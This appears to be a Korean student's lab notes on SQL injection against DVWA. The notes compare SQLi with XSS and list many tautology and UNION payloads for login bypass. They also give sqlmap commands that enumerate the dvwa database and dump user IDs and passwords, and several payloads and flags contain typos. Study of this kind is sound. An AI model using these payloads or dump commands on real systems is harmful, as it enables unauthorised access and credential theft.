SQL injection[Non-blind/Blind]

SQL INJECTION

웹 애플리케이션이 사용자의 입력값을 검증하지 않고 SQL 쿼리에 삽입해버리는 취약점
Database를 조작하거나 정보를 탈취할 수 있음

[ SQL Injection 공격 시 정보 수집 순서 ]

취약점 확인 (문법 오류)
- 특수문자를 입력해서 DB 오류 메시지가 뜨는지 확인 (SQL 인젝션 여부 판단)
DATABASE
- SQL 명령어로 현재 DB 이름 알아냄
TABLE
- information_schema.tables에서 테이블 목록 조회
COLUMN (FIELD)
- 원하는 테이블의 column_name 목록을 조회해서 어떤 정보가 저장되어 있는지 파악

[ SQL 조건문 논리 연산자 ]

SQL Query의 WHERE 조건문을 조작해서 원래 의도와 다른 결과를 만들기 위해 사용

AND	OR	NOT
모든 조건이 참일 때 전체가 참	하나라도 참이면 전체가 참	참이면 거짓, 거짓이면 참

XSS / SQLi

SQL Injection과 XSS 모두

'사용자 입력값을 제대로 검증하지 않고 처리하는 보안 취약점' 으로

둘이 같은 건가 싶어 차이점을 찾아보니 공격의 목적, 방식, 대상이 완전히 다르다.

우선, 공통점은 사용자의 입력값을 제대로 검증하지 않은 결과로 발생하고,

웹 애플리케이션의 입력 처리 미흡이 원인이며

입력값에 의도치 않은 코드가 섞여 실행된다는 점이다.

차이점은 아래와 같다.

[ SQL INJECTION vs XSS 차이점 ]

	SQL INJECTION	XSS
목적	Server Data 조작	브라우저 조작 / 사용자 공격(탈취)
실행 장소	Server 내부 (DB Qurey)	사용자 브라우저에서 실행
피해자	Server의 Database	페이지 방문한 사용자 개인

SQLi은 Qurey문 안에서, XSS는 HTML 안에서 실행되며

SQL Injection은 서버를 해킹하는 느낌 (서버 공격)

XSS는 사용자를 속이고 공격하는 느낌이다. (사용자 브라우저 공격)

공격 대상과 결과가 완전히 다르다.

SQL 인젝션은 Server와 Data를 뿌리부터 흔들 수 있는 공격이고,

XSS는 사용자 개개인에게 영향을 미치는 공격이기 때문에

전체 시스템 관점에서는 SQL 인젝션이 훨씬 더 치명적이다.

굳이 비교를 해봤을 때 SQLi > XSS이지만,

Stored XSS가 관리자 페이지에 들어가면

관리자 계정 탈취 → 권한 상승 → 시스템 제어로

SQL 인젝션 못지않은 대형 사고로 이어질 수 있다.

둘 다 OWASP Top 10에 꾸준히 등장하는 최고 위험 취약점이다.

[Blind/Non-blind]

취약점 확인 (문법 오류 팝업) - 문법 수정 시 공격 가능함을 의미

$getid="select first name,lastname, from users where userid='$id'"

' $id '

' or '1'
= systax error
---------------------------------
' or '1 

' or '1'#

' or '1' = '1  -> ' or '1' = '1''

해석

' OR '1'='1:
- 항상 참이 되는 조건을 생성하여 모든 사용자 데이터를 반환하도록 만듦.
- 예를 들어, SQL 쿼리가 다음과 같이 구성되어 있다면:
- SELECT * FROM users WHERE id = '입력값';
- 입력값이 **' OR '1'='1*이면 다음과 같이 변환됨:
- SELECT * FROM users WHERE id = '' OR '1'='1';
- '1'='1'는 항상 참이므로 모든 사용자 데이터가 출력됨.

' [' or '1' or ' ]'
' or not 0#
' | (true=true)#
' || '1

1' && '1  -> '1' && '1'

'' or '1' or '' => '1'이므로 참인 경우 
모두 출력

참인 명제

' or not 'x'='y
' or '1 = between 0 and 2
' or '2 != between 0 and 2
' or
1' and '1'

' or '1!=0
' or '1 is not null
' or '1 is not  0
1 xor 0
1' && 'a'!='b

' or first_nmae like 'a%
' || first_nmae like 'a%
1' && first_name like 'a%
1' && not 'x'='y
' or first_nmae like 'admin%
' or first_nmae like 'b%

1' && 'x'='x

1' and fisrt_name like '%

16' >> '4
2진수 16을 4비트 오른쪽으로 이동

1' << '2 = 2' << '1 => 4번
4번 데이터베이스 출력
2진수 

3' << '1
2진수 3을 왼쪽으로 1비트 왼쪽으로 이동

10' MOD '3 = 나머지 값 1
10' % '3
' union select database(),vesrion() #
' union select null,user() #

소스코드를 살펴보면 SELECT first_name, last_name FROM users WHERE user_id = '$id'; 라는 SQL 구문이 DBMS로 전송

이전 User ID 입력란에 입력한 값은 id 라는 매개변수에 검증 조치 없이 저장되어 DBMS로 전송된다

입력한 값이 id 라는 매개변수에 검증 조치 없이 저장된다는 사실을 기반으로 입력란에

where 구문을 우회할 수 있는 or 연산자와 언제나 참이되는 값(1=1)을 입력하여

전송한 결과 DB에 저장된 모든 계정의 first_name과 last_name이 출력되는 모습을 확인할 수 있었다.

전송된 SQL 구문은 SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1# ';

해당 구문에서 OR 라는 논리 연산자는 조건 중 하나만 참이라도 참 값을 반환하는 논리 연산자이고

뒤에 입력한 1=1 이라는 조건은 언제나 참인 조건이기 때문에

WHERE 구문에 입력된 조건 자체가 무효화와 마찬가지로

해당 테이블에 저장된 모든 first_name 과 last_name이 출력된 모습을 확인할 수 있다.

즉, SELECT first_name, last_name FROM users ~~WHERE user_id = '' or 1=1-- ';~~ 라는 SQL 구문과 동일하다.

위와 같이 구문을 사용한 공격은 보통 로그인 폼을 SQL Injection 공격을 이용하여 우회할 경우 많이 사용되는 구문이다.
보통 로그인 폼의 경우 SELECT * FROM users WHERE user_id = '$id' and user_pw = '$pw'; 와 같은 SQL 구문을 이용하여 로그인 인증을 많이 구현한다

위 구문의 WHERE 절을 항상 참인 조건으로 만들어 SELECT * FROM users 와 같은 쿼리로 만들어

로그인 우회하는 공격에 이용된다.

로그인 폼을 우회하여 접속 시 최초 생성된 계정의 권한으로 로그인이 되며

보통 관리자 권한의 계정인 경우가 많기에 공격에 많이 활용된다고 한다.

※ 허가 받지 않은 곳에 악의적으로 공격에 활용하면 절대 안됩니다. 모든 법적 책임은 본인에게 있습니다.

KALI 터미널 sql injection 공격

http://192.168.10.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# 복사

Burp suite - http history - cookie 복사

KALI LINUX로 데이터베이스 스캐닝

sqlmap "<http://~>"

sqlmap "<http://~>" --cookie=" " --currnet-db // 현재 데이터베이스 명 확인 가능

sqlmap "<http://~>" --cookie=" " -D dvwa --tables // 테이블 명 확인 가능

sqlmap "<http://~>" --cookie=" " -D dvwa -T users --columns // 칼럼명 확인 가능

sqlmap "<http://~>" --cookie=" " -D dvwa -T users -C user_id,password --dump // 복호화